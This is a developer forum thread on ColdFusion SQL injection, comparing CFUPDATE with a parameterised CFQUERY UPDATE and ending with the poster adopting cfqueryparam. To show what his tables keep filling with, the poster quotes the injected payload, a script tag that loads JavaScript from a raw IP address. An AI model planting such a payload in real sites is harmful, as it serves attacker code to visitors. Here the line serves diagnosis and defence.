SQL Injection problem continues. Can I get your opinion about CFUPDATE vs. SQL UPDATE?

Hi. Thanks again to the many people who have helped me to understand more about secure coding practices.

My SQL Injection problem continues. Can I get your opinion about CFUPDATE vs. SQL UPDATE?


My INSERT file looks pretty solid:

  <!--- Insert values into database columns --->
      
      <cfquery datasource="ebwebwork" dbname="ebwebwork" name="createPage">
             
INSERT INTO cedarcreekbusinesssolutions (PageTitle, PageContent, DateCreated)
 VALUES(
                <cfqueryparam cfsqltype="cf_sql_varchar" value="#PageTitle#">,
                <cfqueryparam cfsqltype="cf_sql_varchar" value="#PageContent#">,
                <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
        )
</cfquery>
             

But, to update a page, I use the CFUPDATE procedure recommended in Ben Forta's CFWACK 8 book:

  <!--- Update values in database columns --->
<cfupdate datasource="ebwebwork" tablename="cedarcreekbusinesssolutions" formfields="PageTitle, PageContent" />

It is simple and, according to that I have read, safe.


But should I instead use:

  <!--- Update values in database columns --->
      
<cfquery datasource="ebwebwork" dbname="ebwebwork" name="UpdatePage">
UPDATE cedarcreekbusinesssolutions
SET PageTitle=<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.PageTitle#">
      ,PageContent=<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.PageContent#">
      ,DateCreated=<cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
WHERE PageID=<cfqueryparam value="#URL.PageID#" cfsqltype="cf_sql_integer">
</cfquery>
             

Which method is safer? CFUPDATE, or SQL UPDATE? Which would you use?

Do you see any places in the code above that I could make more secure?

Thanks for any advice!

Best from Eric
LVL 3
Eric BourlandAsked:
Who is Participating?

[Webinar] Streamline your web hosting managementRegister Today

x
 
gdemariaConnect With a Mentor Commented:
Personally, I always use CFQUERY and actually don't know any other developers (personally) who use CFUPDATE or CFINSERT

I like the control over building my own SQL statements
0
 
gdemariaCommented:
I thought the SQL injection part of the question was going to stay with the original question and this new question was going to be about the form errors you were getting.

Since this is about SQL injection, then we should first explore whether or not this really is SQL injection.

Can you show what code or information is getting inserted into your database?  

What is the scope of this information, do you find it in many tables and columns or just in one table/areas.

Thanks
0
 
Eric BourlandAuthor Commented:
>>>I thought the SQL injection part of the question was going to stay with the original question and this new question was going to be about the form errors you were getting.

I am working on formulating that new question. I have several questions / problems going on at once. =)

>>>Since this is about SQL injection, then we should first explore whether or not this really is SQL injection.

I really think it is. Every few hours, in several of my database tables, the column that follows the PK column gets erased, then each record in that column gets populated with:

</title><script src='http://94.102.52.27/urchin.js'></script>

... and if you google that, you will see that many other sites are showing it too. It also shows up in parts of my MangoBlog.

More soon .... thank you.
0
[Webinar] Improve your customer journey

A positive customer journey is important in attracting and retaining business. To improve this experience, you can use Google Maps APIs to increase checkout conversions, boost user engagement, and optimize order fulfillment. Learn how in this webinar presented by Dito.

 
SidFishesConnect With a Mentor Commented:
I've read conflicting info on whether cfupdate/cfinsert is known to be vulnerable to SQLi

"UPDATE: Since this post was made, newer SQL injection attacks have come to light, some of which could indeed get past <CFINSERT> and <CFUPDATE>. As such, my recommendation has changed, site security now demands the use of <CFQUERY> and <CFSTOREDPROC> instead of <CFINSERT> and <CFUPDATE>."
http://www.forta.com/blog/index.cfm/2006/10/3/Use-CFINSERT-And-CFUPDATE


"spoke to Mr Nimer, formally of Adobe, and he says cfupdate does indeed use bound parameters, so SQL injection would not be an issue. I'm surprised, but pleased that Adobe would ensure best practices there. This includes cfinsert as well."
http://www.coldfusionjedi.com/index.cfm/2006/8/9/Ask-a-Jedi-cfupdate-versus-cfquery

However if there is -any- doubt and there seems to be I would avoid it.

and I'll once more point to my rarely updated blog http://sidfishes.wordpress.com/2009/03/17/60/ which has some tips and tools you may find helpful.

0
 
Eric BourlandAuthor Commented:
>>>>http://sidfishes.wordpress.com/2009/03/17/60/

Sid, this is a great post! Thank you. I think I will switch to the CFQUERY method.

Eric
0
 
Eric BourlandAuthor Commented:
gdemaria and Sid,

this code works great:

<cfquery datasource="ebwebwork" dbname="ebwebwork" name="UpdatePage">
UPDATE cedarcreekbusinesssolutions
SET PageTitle=<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.PageTitle#">
      ,PageContent=<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.PageContent#">
      ,DateModified=<cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
WHERE PageID=<cfqueryparam value="#form.PageID#" cfsqltype="cf_sql_integer">
</cfquery>

Thank you very much.

I just learned something.

Sid -- great blog. I am reading it.

Moving on to next problem.

Very gratefully,

Eric
0
All Courses

From novice to tech pro — start learning today.